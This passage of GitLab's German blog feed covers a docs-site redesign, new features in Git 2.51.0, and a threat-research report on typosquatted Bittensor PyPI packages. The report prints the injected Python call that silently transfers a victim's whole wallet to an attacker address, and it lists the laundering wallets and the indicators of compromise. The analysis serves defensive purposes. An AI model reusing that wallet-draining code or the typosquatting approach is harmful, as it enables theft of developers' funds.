können sie jetzt sofortiges Feedback mit Thumbs-up/down-Ratings und Comments direkt auf jeder Page geben.
Scroll einfach auf jeder Dokumentationspage nach unten, um diese neue Functionality in Action zu sehen.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617289/rjocpkmqumacaw7thjqi.png" alt="image of feedback area"></p>
<h3>Style Updates und Technical Debt</h3>
<p>Über die Jahre hatten sich kleine Style-Inkonsistenzen angesammelt – inkonsistente Padding in Lists, zusätzliche Spacing um Alerts und verschiedene Typography-Issues.
Die sehen zwar klein aus, aber zusammen schufen sie eine subtil störende Experience für Daily Users.</p>
<p>Unsere Tabs und Code Blocks haben besondere Aufmerksamkeit bekommen und sind jetzt besser definiert.</p>
<p>Vorher sahen Tabs mit Code so aus:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617460/jsa2gz3b2slqu0udrg28.png" alt="image of old tabs with code block"></p>
<p>Und jetzt, mit ein paar kleinen Tweaks, sehen sie so aus:</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1755617493/jpxiybvnadsex39lyawu.png" alt="image of new tabs with code block"></p>
<p>Diese Papercut-Fixes sind einzeln klein, aber zusammen schaffen sie eine viel poliertere, professionellere Experience.</p>
<h2>Was kommt als nächstes?</h2>
<p>Dieses Redesign zeigt, wie wir bei GitLab iterieren – wir shippen meaningful Improvements und bauen gleichzeitig für eine noch bessere Zukunft.
Wir erwarten, die Struktur weiter zu verfeinern und Features hinzuzufügen, die Teams helfen, leichter zu finden, was sie brauchen.</p>
<p>User Feedback wird unsere nächsten Iterationen antreiben, und mit unserem neuen simplified Feedback Mechanism
sind wir besser positioniert denn je, direkt von unseren Documentation-Teams zu hören.</p>
<h2>Das Team</h2>
<p>Das ganze Team hat an dieser Transformation gearbeitet. Kudos an UX Papercuts und Julia Miocene dafür,
aus einer einfachen Anfrage eine umfassende Design Vision zu machen. Thanks an die Engineers im Technical Writing:
Sarah German, Pearl Latteier und Hiru Fernando, die diese Designs zum Leben erweckt haben.</p>
<p>Das neue Design balanciert Information Density mit Visual Clarity, modernisiert unsere Site unter Beibehaltung
von Usability- und Accessibility-Standards und ist ein großer Schritt nach vorn in User Experience und Visual Design.</p>
]]></content>
        <author>
            <name>Suzanne Selhorn</name>
            <uri>https://about.gitlab.com/blog/authors/suzanne-selhorn</uri>
        </author>
        <author>
            <name>Sarah German</name>
            <uri>https://about.gitlab.com/blog/authors/sarah-german</uri>
        </author>
        <author>
            <name>Julia Miocene</name>
            <uri>https://about.gitlab.com/blog/authors/julia-miocene</uri>
        </author>
        <published>2025-08-20T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Was ist neu in Git 2.51.0?]]></title>
        <id>https://about.gitlab.com/de-de/blog/what-s-new-in-git-2-51-0/</id>
        <link href="https://about.gitlab.com/de-de/blog/what-s-new-in-git-2-51-0/"/>
        <updated>2025-08-18T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Das Git-Projekt hat kürzlich <a href="https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u">Git 2.51</a> veröffentlicht. Aufgrund des Sommers auf der Nordhalbkugel und langsamerer Fortschritte war dieser Release-Zyklus mit 8 Wochen eher kurz (normalerweise dauert ein Release-Zyklus etwa 12 Wochen).</p>
<p><strong>Die wichtigste Neuerung: Git-Operationen werden bis zu 22-mal schneller</strong> - besonders bei großen Repositories mit vielen Branches profitieren Entwicklungsteams von erheblichen Performance-Verbesserungen.</p>
<p>Schauen wir uns diese und andere bemerkenswerte Änderungen in diesem Release an, einschließlich Beiträgen vom Git-Team bei GitLab und der breiteren Git-Community.</p>
<h2>Massive Performance-Verbesserungen: Von Sekunden zu Millisekunden</h2>
<p>Große Repositories mit tausenden von Branches standen vor einem schmerzhaften Engpass. Git-Operationen, die Referenzen aktualisieren, konnten mehrere Sekunden dauern - ein echter Produktivitätskiller für Teams mit umfangreichen CI/CD-Pipelines oder Monorepo-Workflows.</p>
<p><strong>Git 2.51.0 ändert alles. Eine 10.000-Referenzen-Fetch-Operation, die 3,4 Sekunden dauerte, wird jetzt in 154 Millisekunden abgeschlossen:</strong></p>
<pre><code>VORHER: git-fetch mit 10.000 Referenzen
Time: 3.403 s ± 0.775 s

NACHHER: git-fetch mit 10.000 Referenzen  
Time: 154.3 ms ± 17.6 ms

ERGEBNIS: 22× schneller
</code></pre>
<p><strong>Ähnlich dramatische Verbesserungen bei git-push:</strong></p>
<pre><code>VORHER: git-push mit 10.000 Referenzen
Time: 4.276 s ± 0.078 s

NACHHER: git-push mit 10.000 Referenzen
Time: 235.4 ms ± 6.9 ms

ERGEBNIS: 18× schneller
</code></pre>
<h3>Wie wurde das erreicht?</h3>
<p>Das Problem lag in der Art, wie Git Referenz-Transaktionen behandelte. Die Kommandos git-push(1) und git-fetch(1) erstellten eine separate Transaktion für jedes Referenz-Update, was enormen Overhead verursachte - jede Transaktion benötigte eine Initialisierungs- und Abbauphase und löste Auto-Komprimierungen aus.</p>
<p>Git 2.51.0 verwendet nun <strong>gebündelte Updates</strong>: Mehrere Referenzen werden in einer einzigen Transaktion aktualisiert, während einzelne Updates weiterhin fehlschlagen dürfen. Dies eliminiert den Overhead und skaliert linear mit der Anzahl der Referenzen.</p>
<p>Das Beste daran? Benutzer profitieren automatisch von diesen Verbesserungen, ohne Änderungen an ihrem Workflow vornehmen zu müssen.</p>
<p>Dieses <a href="https://lore.kernel.org/git/20250514-501-update-git-fetch-1-to-use-partial-transactions-v1-0-7c65f46493d4@gmail.com/">Projekt</a> wurde von <a href="https://gitlab.com/knayakgl">Karthik Nayak</a> geleitet.</p>
<h2>Änderungen in Richtung Git 3.0</h2>
<p>Vor 11 Jahren wurde Git 2.0 veröffentlicht, die letzte große Versionsfreigabe von Git. Obwohl wir keinen spezifischen Zeitplan für die nächste große Git-Veröffentlichung haben, enthält dieses Release Entscheidungen, die in Richtung Git 3.0 getroffen wurden.</p>
<p>Die Git 3.0-Release-Planung ermöglicht es uns, Breaking Changes zu planen und zu implementieren und diese der erweiterten Git-Community zu kommunizieren. Neben der Dokumentation kann Git auch mit diesen Breaking Changes kompiliert werden für diejenigen, die mit diesen Änderungen experimentieren möchten. Weitere Informationen finden Sie im <a href="https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/BreakingChanges.adoc">BreakingChanges-Dokument</a>.</p>
<p>Das Git 2.51.0-Release bringt einige bedeutende Änderungen in Richtung Git 3.0.</p>
<h3>&quot;reftable&quot; wird Standard in Git 3.0</h3>
<p>Im <a href="https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/RelNotes/2.45.0.adoc?ref_type=heads">Git 2.45.0</a>-Release wurde das &quot;reftable&quot;-Format als neues Backend zur Speicherung von Referenzen wie Branches oder Tags in Git eingeführt, das viele der Probleme des bestehenden &quot;files&quot;-Backends behebt. Lesen Sie unseren <a href="https://about.gitlab.com/blog/a-beginners-guide-to-the-git-reftable-format/">Einsteiger-Leitfaden zur Funktionsweise von reftables</a> für weitere Einblicke in das &quot;reftable&quot;-Backend.</p>
<p>Das Git 2.51.0-Release markiert den Wechsel zur Verwendung des &quot;reftable&quot;-Formats als Standard in Git 3.0 für neu erstellte Repositories und verdrahtet die Änderung hinter einem Feature-Flag. Das &quot;reftable&quot;-Format bietet folgende Verbesserungen gegenüber dem traditionellen &quot;files&quot;-Backend:</p>
<ul>
<li>
<p>Es ist unmöglich, zwei Referenzen zu speichern, die sich nur in der Groß-/Kleinschreibung unterscheiden, auf case-insensitiven Dateisystemen mit dem &quot;files&quot;-Format. Dieses Problem ist häufig auf Windows- und macOS-Plattformen. Da das &quot;reftable&quot;-Backend keine Dateisystem-Pfade zur Kodierung von Referenznamen verwendet, verschwindet dieses Problem.</p>
</li>
<li>
<p>Ebenso normalisiert macOS Pfadnamen, die Unicode-Zeichen enthalten, was zur Folge hat, dass Sie nicht zwei Namen mit Unicode-Zeichen speichern können, die unterschiedlich kodiert sind, mit dem &quot;files&quot;-Backend. Auch dies ist kein Problem mit dem &quot;reftable&quot;-Backend.</p>
</li>
<li>
<p>Das Löschen von Referenzen mit dem &quot;files&quot;-Backend erfordert, dass Git die komplette &quot;packed-refs&quot;-Datei neu schreibt. In großen Repositories mit vielen Referenzen kann diese Datei leicht dutzende Megabytes groß sein; in extremen Fällen kann sie Gigabytes umfassen. Das &quot;reftable&quot;-Backend verwendet Tombstone-Marker für gelöschte Referenzen und muss daher nicht alle seine Daten neu schreiben.</p>
</li>
<li>
<p>Repository-Hauskeeping mit dem &quot;files&quot;-Backend führt normalerweise All-into-One-Repacks von Referenzen durch. Dies kann sehr teuer sein, und folglich ist Housekeeping ein Kompromiss zwischen der Anzahl loser Referenzen, die sich ansammeln und Operationen verlangsamen, die Referenzen lesen, und der Komprimierung dieser losen Referenzen in die &quot;packed-refs&quot;-Datei. Das &quot;reftable&quot;-Backend verwendet geometrische Komprimierung nach jedem Schreibvorgang, was Kosten amortisiert und sicherstellt, dass das Backend immer in einem gut gewarteten Zustand ist.</p>
</li>
<li>
<p>Operationen, die mehrere Referenzen auf einmal schreiben, sind nicht atomisch mit dem &quot;files&quot;-Backend. Folglich kann Git Zwischenzustände sehen, wenn es Referenzen liest, während eine Referenz-Transaktion gerade auf die Festplatte committed wird.</p>
</li>
<li>
<p>Das Schreiben vieler Referenzen auf einmal ist langsam mit dem &quot;files&quot;-Backend, weil jede Referenz als separate Datei erstellt wird. Das &quot;reftable&quot;-Backend übertrifft das &quot;files&quot;-Backend um mehrere Größenordnungen.</p>
</li>
<li>
<p>Das &quot;reftable&quot;-Backend verwendet ein Binärformat mit Präfix-Komprimierung für Referenznamen. Als Resultat nutzt das Format weniger Platz im Vergleich zur &quot;packed-refs&quot;-Datei.</p>
</li>
</ul>
<p>Dieses Projekt wurde von <a href="https://gitlab.com/pks-gitlab">Patrick Steinhardt</a> geleitet.</p>
<h3>SHA-256 wird Standard in Git 3.0</h3>
<p>Das Git-Versionskontrollsystem speichert Objekte in einem inhaltsadressierbaren Dateisystem. Das bedeutet, es verwendet den Hash eines Objekts zur Adressierung von Inhalten wie Dateien, Verzeichnissen und Revisionen, anders als traditionelle Dateisysteme, die sequenzielle Nummern verwenden. Die Verwendung einer Hash-Funktion hat folgende Vorteile:</p>
<ul>
<li>Einfache Integritätsprüfungen, da ein einzelner Bit-Flip die Hash-Ausgabe komplett verändern würde.</li>
<li>Schnelle Objektsuche, da Objekte nach ihrem Hash indexiert werden können.</li>
<li>Objektnamen können signiert werden und Drittparteien können dem Hash vertrauen, um das signierte Objekt und alle Objekte, auf die es verweist, zu adressieren.</li>
<li>Kommunikation über Git-Protokoll und Out-of-Band-Kommunikationsmethoden haben einen kurzen zuverlässigen String, der zur zuverlässigen Adressierung gespeicherter Inhalte verwendet werden kann.</li>
</ul>
<p>Seit seiner Entstehung hat Git den SHA-1-Hashing-Algorithmus verwendet. Sicherheitsforscher haben jedoch einige Schwachstellen in SHA-1 entdeckt, speziell den <a href="https://shattered.io">SHAttered-Angriff</a>, der eine praktische SHA-1-Hash-Kollision zeigt. Wir sind seit Git 2.13.0 standardmäßig zu einer gehärteten SHA-1-Implementierung übergegangen. SHA-1 ist jedoch immer noch ein schwacher Hashing-Algorithmus und es ist nur eine Frage der Zeit, bis zusätzliche Angriffe seine Sicherheit weiter reduzieren werden.</p>
<p>SHA-256 wurde Ende 2018 als Nachfolger von SHA-1 identifiziert. Git 2.51.0 markiert es als Standard-Hash-Algorithmus für Git 3.0.</p>
<p>Dieses Projekt wurde von <a href="https://github.com/bk2204">brian m. carlson</a> geleitet.</p>
<h3>Entfernung von git-whatchanged(1)</h3>
<p>Der git-whatchanged(1)-Befehl zeigt Logs mit Unterschieden, die jeder Commit einführt. Obwohl dies nun von git log --raw abgelöst wurde, wurde der Befehl aus historischen Gründen beibehalten.</p>
<p>Git 2.51.0 erfordert, dass Benutzer des Befehls explizit das --i-still-use-this-Flag verwenden, um alle Benutzer zu erfassen, die noch den veralteten Befehl verwenden, und markiert den Befehl auch für die Entfernung in Git 3.0.</p>
<p>Dieses Projekt wurde von <a href="https://simple.wikipedia.org/wiki/Junio_Hamano">Junio C Hamano</a> geleitet.</p>
<h2>git switch und git restore sind nicht mehr experimentell</h2>
<p>Der git-checkout(1)-Befehl kann für mehrere verschiedene Anwendungsfälle verwendet werden. Er kann zum Wechseln von Referenzen verwendet werden:</p>
<pre><code>$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

$ git checkout next
Zu Branch 'next' gewechselt
Ihr Branch ist auf dem neuesten Stand mit 'origin/next'.
</code></pre>
<p>Oder zur Wiederherstellung von Dateien:</p>
<pre><code>$ echo &quot;additional line&quot; &gt;&gt; git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.

Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie &quot;git add &lt;Datei&gt;...&quot;, um die Änderungen zum Commit vorzumerken)
  (benutzen Sie &quot;git restore &lt;Datei&gt;...&quot;, um die Änderungen im Arbeitsverzeichnis zu verwerfen)
        geändert:       git.c

keine Änderungen zum Commit vorgemerkt (benutzen Sie &quot;git add&quot; und/oder &quot;git commit -a&quot;)

$ git checkout git.c
1 Pfad von Index aktualisiert

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert
</code></pre>
<p>Für neue Git-Benutzer kann dies zu viel Verwirrung führen. In Git 2.33.0 wurden diese in zwei neue Befehle aufgeteilt: git-switch(1) und git-restore(1).</p>
<p>Der git-switch(1)-Befehl ermöglicht es Benutzern, zu einem bestimmten Branch zu wechseln:</p>
<pre><code>$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert

$ git switch next
Zu Branch 'next' gewechselt
Ihr Branch ist auf dem neuesten Stand mit 'origin/next'.
</code></pre>
<p>Und der git-restore(1)-Befehl ermöglicht es Benutzern, Working-Tree-Dateien wiederherzustellen:</p>
<pre><code>$ echo &quot;additional line&quot; &gt;&gt; git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.

Änderungen, die nicht zum Commit vorgemerkt sind:
  (benutzen Sie &quot;git add &lt;Datei&gt;...&quot;, um die Änderungen zum Commit vorzumerken)
  (benutzen Sie &quot;git restore &lt;Datei&gt;...&quot;, um die Änderungen im Arbeitsverzeichnis zu verwerfen)
        geändert:       git.c

keine Änderungen zum Commit vorgemerkt (benutzen Sie &quot;git add&quot; und/oder &quot;git commit -a&quot;)

$ git restore git.c

$ git status
Auf Zweig master
Ihr Branch ist auf dem neuesten Stand mit 'origin/master'.
Nichts zu committen, Arbeitsverzeichnis unverändert
</code></pre>
<p>Obwohl die beiden Befehle seit 2019 existieren, wurden sie als experimentell markiert. Der Effekt ist, dass das Git-Projekt keine Rückwärtskompatibilität für diese Befehle garantiert: das Verhalten kann sich jederzeit ändern. Obwohl die Absicht ursprünglich war, diese Befehle nach einigen Releases zu stabilisieren, ist das bis zu diesem Punkt nicht geschehen.</p>
<p>Dies hat zu mehreren Diskussionen auf der Git-Mailing-Liste geführt, wo Benutzer unsicher sind, ob sie diese neuen Befehle verwenden können oder ob sie eventuell wieder verschwinden. Da jedoch keine bedeutenden Änderungen vorgeschlagen wurden und einige Benutzer diese Befehle bereits verwenden, haben wir beschlossen, sie in Git 2.51 nicht mehr als experimentell zu deklarieren.</p>
<p>Dieses Projekt wurde von <a href="https://gitlab.com/justintobler">Justin Tobler</a> geleitet.</p>
<h2>git for-each-ref(1) erhält Paginierungs-Unterstützung</h2>
<p>Der git for-each-ref-Befehl wird verwendet, um alle im Repository vorhandenen Referenzen aufzulisten. Als Teil der Plumbing-Schicht von Git wird dieser Befehl häufig beispielsweise von Hosting-Forges verwendet, um Referenzen, die im Repository existieren, in ihrer UI aufzulisten. Aber während Repositories wachsen, wird es weniger realistisch, alle Referenzen auf einmal aufzulisten – schließlich können die größten Repositories Millionen davon enthalten! Stattdessen neigen Forges dazu, die Referenzen zu paginieren.</p>
<p>Dies zeigt eine wichtige Lücke auf: git-for-each-ref weiß nicht, Referenzen von vorherigen Seiten zu überspringen, die bereits gezeigt wurden. Folglich muss es möglicherweise eine große Anzahl uninteressanter Referenzen auflisten, bevor es endlich beginnt, die für die aktuelle Seite benötigten Referenzen zu liefern. Dies ist ineffizient und führt zu höherer als notwendiger Latenz oder sogar Timeouts.</p>
<p>Git 2.51.0 unterstützt ein neues --start-after-Flag für git for-each-ref, das die Paginierung der Ausgabe ermöglicht. Dies kann auch mit dem --count-Flag kombiniert werden, um über einen Batch von Referenzen zu iterieren.</p>
<pre><code>$ git for-each-ref --count=10
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-001
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-002
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-003
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-004
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-005
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-006
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-007
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-008
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-009
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-010

$ git for-each-ref --count=10 --start-after=refs/heads/branch-010
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-011
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-012
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-013
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-014
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-015
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-016
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-017
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-018
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-019
9751243fba48b34d29aabfc9784803617a806e81 commit    refs/heads/branch-020
</code></pre>
<p>Dieses Projekt wurde von <a href="https://gitlab.com/knayakgl">Karthik Nayak</a> geleitet.</p>
<h2>Fazit</h2>
<p><strong>Diese Performance-Verbesserungen sind besonders relevant für deutsche Entwicklungsteams, die mit großen Repositories und intensiven CI/CD-Workflows arbeiten.</strong> Die 22-fache Beschleunigung bei git-fetch kann erhebliche Zeitersparnisse in der täglichen Entwicklungsarbeit bedeuten.</p>
<p>Bereit, diese Verbeszerungen zu erleben? Aktualisieren Sie auf Git 2.51.0 und beginnen Sie, git switch und git restore in Ihrem täglichen Workflow zu verwenden.</p>
<p>Für GitLab-Benutzer werden diese Performance-Verbesserungen automatisch Ihre Entwicklungserfahrung verbessern, sobald Ihre Git-Version aktualisiert wird.</p>
<p>Erfahren Sie mehr in den <a href="https://lore.kernel.org/git/xmqqikikk1hr.fsf@gitster.g/T/#u">offiziellen Git 2.51.0 Release Notes</a> und erkunden Sie unser <a href="https://about.gitlab.com/blog/tags/git/">komplettes Archiv der Git-Entwicklungsberichterstattung</a>.</p>
<hr>
<p><em>Für vollständige technische Details, Benchmarks und Implementierungshinweise lesen Sie den <a href="https://about.gitlab.com/blog/what-s-new-in-git-2-51-0/">englischen Originalartikel</a>.</em></p>
]]></content>
        <author>
            <name>Karthik Nayak</name>
            <uri>https://about.gitlab.com/blog/authors/karthik-nayak</uri>
        </author>
        <published>2025-08-18T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[GitLab deckt Bittensor-Diebstahlkampagne über PyPI auf]]></title>
        <id>https://about.gitlab.com/de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/</id>
        <link href="https://about.gitlab.com/de-de/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi/"/>
        <updated>2025-08-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Das Vulnerability Research Team von GitLab hat eine ausgeklügelte</p>
<p>Kryptowährungs-Diebstahlkampagne identifiziert, die das Bittensor-Ökosystem</p>
<p>durch Typosquatting-Python-Pakete auf PyPI ins Visier nimmt.</p>
<p>Die Untersuchung begann, als das automatisierte Paket-Überwachungssystem von GitLab verdächtige Aktivitäten im Zusammenhang mit beliebten Bittensor-Paketen meldete. Es wurden mehrere Typosquatting-Varianten legitimer Bittensor-Pakete entdeckt, die jeweils darauf ausgelegt waren, Kryptowährung von ahnungslosen Entwickler(inne)n und Nutzer(inne)n zu stehlen.</p>
<blockquote>
<p><strong>Geschäftsrelevanz:</strong> Dieser koordinierte Angriff zeigt, wie Cyberkriminelle systematisch vertrauensvolle Software-Ökosysteme ausnutzen. <strong>90% der Fortune-500-Unternehmen</strong> nutzen Open-Source-Komponenten - jede davon ist ein potentieller Angriffspunkt für ähnliche Kampagnen.</p>
</blockquote>
<h2>Die Angriffsmethode im Detail</h2>
<p>Die identifizierten bösartigen Pakete wurden alle innerhalb eines 25-minütigen Zeitfensters am 6. August 2025 veröffentlicht:</p>
<ul>
<li>
<p><code>bitensor@9.9.4</code> (02:52 UTC)</p>
</li>
<li>
<p><code>bittenso-cli@9.9.4</code> (02:59 UTC)</p>
</li>
<li>
<p><code>qbittensor@9.9.4</code> (03:02 UTC)</p>
</li>
<li>
<p><code>bitensor@9.9.5</code> (03:15 UTC)</p>
</li>
<li>
<p><code>bittenso@9.9.5</code> (03:16 UTC)</p>
</li>
</ul>
<p>Alle Pakete wurden entwickelt, um die legitimen <code>bittensor</code>- und <code>bittensor-cli</code>-Pakete nachzuahmen, die Kernkomponenten des dezentralisierten KI-Netzwerks Bittensor sind.</p>
<h3>Technische Analyse: So funktioniert der Diebstahl</h3>
<p>Die Analyse offenbarte einen sorgfältig ausgearbeiteten Angriffsvektor, bei dem die Angreifer legitime Staking-Funktionalitäten modifizierten, um Gelder zu stehlen. Die bösartigen Pakete enthalten eine manipulierte Version der <code>stake_extrinsic</code>-Funktion in <code>bittensor_cli/src/commands/stake/add.py</code>.</p>
<p>Wo Nutzer(innen) eine normale Staking-Operation erwarten, haben die Angreifer in Zeile 275 bösartigen Code eingefügt, der stillschweigend alle Gelder in ihre Wallet umleitet:</p>
<pre><code class="language-python">
result = await transfer_extrinsic(
  subtensor=subtensor,
  wallet=wallet,
  destination=&quot;5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR&quot;,
  amount=amount,
  transfer_all=True,
  prompt=False
)

</code></pre>
<p><strong>Diese bösartige Injektion untergräbt den Staking-Prozess vollständig:</strong></p>
<ul>
<li>
<p><strong>Stille Ausführung:</strong> Verwendet <code>prompt=False</code>, um die Benutzerbestätigung zu umgehen</p>
</li>
<li>
<p><strong>Vollständige Wallet-Entleerung:</strong> Setzt <code>transfer_all=True</code>, um alle verfügbaren Gelder zu stehlen, nicht nur den Staking-Betrag</p>
</li>
<li>
<p><strong>Hartcodiertes Ziel:</strong> Leitet alle Gelder an die Wallet-Adresse der Angreifer weiter</p>
</li>
<li>
<p><strong>Versteckt in Sichtweite:</strong> Wird während einer scheinbar normalen Staking-Operation ausgeführt</p>
</li>
</ul>
<p>Das Perfide an diesem Angriff: Nutzer(innen) glauben, Token für Belohnungen zu staken, während die modifizierte Funktion stattdessen die gesamte Wallet entleert.</p>
<h3>Besondere Relevanz für deutsche Unternehmen</h3>
<p>Diese Angriffsmethodik ist nicht auf Kryptowährungen beschränkt. Ähnliche Typosquatting-Strategien könnten manipulierte Pakete in geschäftskritische Systeme einschleusen - von Zahlungsverarbeitung bis hin zu Industriesteuerungen.</p>
<h3>Warum die Staking-Funktionalität ins Visier genommen wird</h3>
<p>Die Angreifer scheinen gezielt Staking-Operationen aus kalkulierten Gründen ins Visier genommen zu haben. In Blockchain-Netzwerken wie Bittensor bedeutet <strong>Staking</strong>, dass Nutzer(innen) ihre Kryptowährungs-Token sperren, um Netzwerkoperationen zu unterstützen und im Gegenzug Belohnungen zu erhalten – ähnlich wie Zinsen auf eine Einlage.</p>
<p>Dies macht Staking zu einem idealen Angriffsvektor:</p>
<ol>
<li>
<p><strong>Hochwertige Ziele:</strong> Nutzer(innen), die staken, besitzen typischerweise erhebliche Kryptowährungsbestände, was sie zu lukrativen Opfern macht.</p>
</li>
<li>
<p><strong>Erforderlicher Wallet-Zugriff:</strong> Staking-Operationen erfordern, dass Nutzer(innen) ihre Wallets entsperren und Authentifizierung bereitstellen – genau das, was der bösartige Code benötigt, um Gelder abzuziehen.</p>
</li>
<li>
<p><strong>Erwartete Netzwerkaktivität:</strong> Da Staking natürlich Blockchain-Transaktionen beinhaltet, erregt die zusätzliche bösartige Übertragung nicht sofort Verdacht.</p>
</li>
<li>
<p><strong>Routineoperationen:</strong> Erfahrene Nutzer(innen) staken regelmäßig, was Vertrautheit schafft, die zu Nachlässigkeit führt und die Aufmerksamkeit reduziert.</p>
</li>
<li>
<p><strong>Verzögerte Entdeckung:</strong> Nutzer(innen) könnten anfänglich annehmen, dass Saldoänderungen normale Staking-Gebühren oder temporäre Sperrungen sind, was die Entdeckung des Diebstahls verzögert.</p>
</li>
</ol>
<p>Durch das Verstecken von bösartigem Code in legitim aussehender Staking-Funktionalität nutzten die Angreifer sowohl die technischen Anforderungen als auch die Nutzerpsychologie von Routine-Blockchain-Operationen aus.</p>
<h2>Der Geldspur folgen</h2>
<p>Das Vulnerability Research Team von GitLab verfolgte die Kryptowährungsflüsse, um das volle Ausmaß dieser Operation zu verstehen. Die primäre Ziel-Wallet <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> diente als zentraler Sammelpunkt, bevor die Gelder durch ein Netzwerk von Zwischen-Wallets verteilt wurden.</p>
<h3>Das Geldwäsche-Netzwerk</h3>
<p>Die Analyse offenbarte ein mehrstufiges Geldwäschesystem:</p>
<ol>
<li>
<p><strong>Primäre Sammlung:</strong> Gestohlene Gelder kommen zunächst bei <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> an</p>
</li>
<li>
<p><strong>Verteilungsnetzwerk:</strong> Gelder werden schnell zu Zwischen-Wallets verschoben, einschließlich:</p>
<ul>
<li><code>5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1</code></li>
<li><code>5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC</code></li>
<li><code>5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6</code></li>
<li><code>5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL</code></li>
</ul>
</li>
<li>
<p><strong>Finale Konsolidierung:</strong> Alle Pfade konvergieren schließlich bei <code>5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu</code></p>
</li>
<li>
<p><strong>Auszahlungsendpunkt:</strong> Das finale Ziel scheint
<code>5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ</code> zu sein</p>
</li>
</ol>
<h2>Die Typosquatting-Strategie</h2>
<p>Die Angreifer verwendeten eine Typosquatting-Strategie, die häufige Tippfehler und Paket-Namenskonventionen ausnutzt:</p>
<ul>
<li>
<p><strong>Fehlende Zeichen:</strong> <code>bitensor</code> statt <code>bittensor</code> (fehlendes 't')</p>
</li>
<li>
<p><strong>Kürzung:</strong> <code>bittenso</code> statt <code>bittensor</code> (fehlendes finales 'r')</p>
</li>
<li>
<p><strong>Versions-Nachahmung:</strong> Alle Pakete verwendeten Versionsnummern (<code>9.9.4</code>, <code>9.9.5</code>), die den legitimen Paketversionen sehr ähnlich sind</p>
</li>
</ul>
<p>Dieser Ansatz maximiert die Installationswahrscheinlichkeit durch Entwickler-Tippfehler während <code>pip install</code>-Befehlen und Copy-Paste-Fehler aus Dokumentationen.</p>
<h2>Die Zukunft der Supply-Chain-Sicherheit</h2>
<p>GitLab investiert weiterhin in proaktive Sicherheitsforschung, um Bedrohungen zu identifizieren und zu neutralisieren, bevor sie die Community beeinträchtigen. Das automatisierte Erkennungssystem arbeitet rund um die Uhr, um die Software-Supply-Chain zu schützen, die die moderne Entwicklung antreibt.</p>
<p>Die schnelle Erkennung und Analyse dieses Angriffs demonstriert den Wert proaktiver Sicherheitsmaßnahmen im Kampf gegen ausgeklügelte Bedrohungen. Durch das Teilen der Erkenntnisse streben wir danach, die Widerstandsfähigkeit des gesamten Ökosystems gegen zukünftige Angriffe zu stärken.</p>
<h2>Kompromittierungsindikatoren</h2>
<p>| IOC                                                | Beschreibung                                                      |</p>
<p>| -------------------------------------------------- | ----------------------------------------------------------------- |</p>
<p>| <code>pkg:pypi/bittenso@9.9.5</code>                          | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>pkg:pypi/bitensor@9.9.5</code>                          | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>pkg:pypi/bitensor@9.9.4</code>                          | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>pkg:pypi/qbittensor@9.9.4</code>                        | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>pkg:pypi/bittenso-cli@9.9.4</code>                      | Bösartiges PyPI-Paket                                             |</p>
<p>| <code>5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR</code> | Bittensor (TAO) Wallet-Adresse für den Empfang gestohlener Gelder |</p>
